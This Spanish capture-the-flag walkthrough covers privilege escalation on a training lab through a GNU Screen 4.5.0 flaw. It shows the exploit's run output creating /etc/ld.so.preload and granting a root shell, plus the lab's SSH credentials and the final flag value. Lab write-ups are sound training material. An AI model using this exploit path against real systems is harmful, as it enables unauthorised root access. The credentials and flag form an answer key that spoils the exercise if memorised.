Se pueden encontrar muchos servicios que tienen fallas que se pueden aprovechar para escalar privilegios. Un ejemplo es el popular multiplexor de terminal Screen . La versión 4.5.0 sufre una vulnerabilidad de escalada de privilegios debido a la falta de una verificación de permisos al abrir un archivo de registro.
Identificación de la versión de Screen
afsh4ck@kali$ screen -v
Screen version 4.05.00 (GNU) 10-Dec-16
Esto permite a un atacante truncar cualquier archivo o crear un archivo propiedad de la raíz en cualquier directorio y, en última instancia, obtener acceso completo a la raíz.
Escalada de privilegios - Screen_Exploit.sh
afsh4ck@kali$ ./screen_exploit.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /run/screen/S-mrb3n.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(mrb3n)
El siguiente script se puede utilizar para realizar este ataque de escalada de privilegios:
SSH a 10.129.2.210 (ACADEMY-LPE-NIX02)
User "htb-student"
Password "Academy_LLPE!"
Conéctese al sistema de destino y aumente los privilegios mediante el exploit Screen. Envíe el contenido del archivo flag.txt en el directorio /root/screen_exploit.
Al acceder por SSH comprobamos la versión de screen, la cual es vulnerable:
htb-student@NIX02:~$ screen -v
Screen version 4.05.00 (GNU) 10-Dec-16
Abrimos un server con python en nuestra máquina atacante en el directorio de nuestro exploit
Con wget nos descargamos el archivo
Le damos permisos con chmod +x y ejecutamos el exploit
Ya somos root!
Ahora accedemos al directorio /root/screen_exploit y nos hacemos con la flag:
# whoami
root
# cd /root
# ls
cron_abuse kernel_exploit ld_preload screen_exploit
# cd screen_exploit
# ls
flag.txt
# cat flag.txt
91927dad55fd22825660da88f2f92e0